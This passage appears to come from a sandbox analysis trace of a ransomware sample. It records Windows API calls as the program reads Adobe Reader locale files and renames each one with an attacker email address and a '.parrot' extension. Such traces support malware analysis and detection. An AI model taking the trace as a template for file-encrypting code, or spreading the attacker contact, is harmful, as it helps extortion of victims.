lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7000, lpOverlapped=0x0) returned 1 [0256.254] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.255] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Weblink.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\weblink.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Weblink.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\weblink.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0256.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0256.263] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0256.263] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24c12d00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x24c12d00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.264] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x240c4480, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xb728, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0256.264] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0256.328] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0256.328] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.328] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0256.328] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0256.328] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="ACCESS~1.HRV")) returned 1 [0256.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.329] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.330] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.330] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xac00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xac00, lpOverlapped=0x0) returned 1 [0256.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.335] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0256.340] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.340] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.344] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x66600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x66600, lpOverlapped=0x0) returned 1 [0256.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.432] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\acroform.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Acroform.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\acroform.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0256.441] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.441] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.443] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.443] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0256.444] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.444] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\adobecollabsync.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\adobecollabsync.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0256.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0256.451] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.451] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.453] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.453] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x76e00, lpOverlapped=0x0) returned 1 [0256.467] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.482] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\annots.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\annots.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339148 | out: hHeap=0x5b0000) returned 1 [0256.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0256.490] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.490] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.493] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.493] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3600, lpOverlapped=0x0) returned 1 [0256.495] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.495] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\brdlang32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\brdlang32.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0256.501] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.501] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.503] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ea00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1ea00, lpOverlapped=0x0) returned 1 [0256.508] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.512] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\checkers.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\checkers.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0256.521] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.521] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.523] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.523] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1f200, lpOverlapped=0x0) returned 1 [0256.528] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.532] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\digsig.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\digsig.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339148 | out: hHeap=0x5b0000) returned 1 [0256.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0256.541] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.541] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.542] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.542] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4800, lpOverlapped=0x0) returned 1 [0256.544] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.545] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\dva.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DVA.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\dva.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339148 | out: hHeap=0x5b0000) returned 1 [0256.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0256.550] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.550] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.552] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0256.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.553] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339148 | out: hHeap=0x5b0000) returned 1 [0256.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0256.557] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.558] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.600] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.600] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa200, lpOverlapped=0x0) returned 1 [0256.602] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.603] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\escript.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\escript.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3320468 | out: hHeap=0x5b0000) returned 1 [0256.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0256.610] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.610] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.611] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.611] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0256.612] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.612] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0256.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339148 | out: hHeap=0x5b0000) returned 1 [0256.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0256.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0256.617] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0256.617] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0256.619] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.619] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12600, lpOverlapped=0x0) returned 1 [0256.621] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.623] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 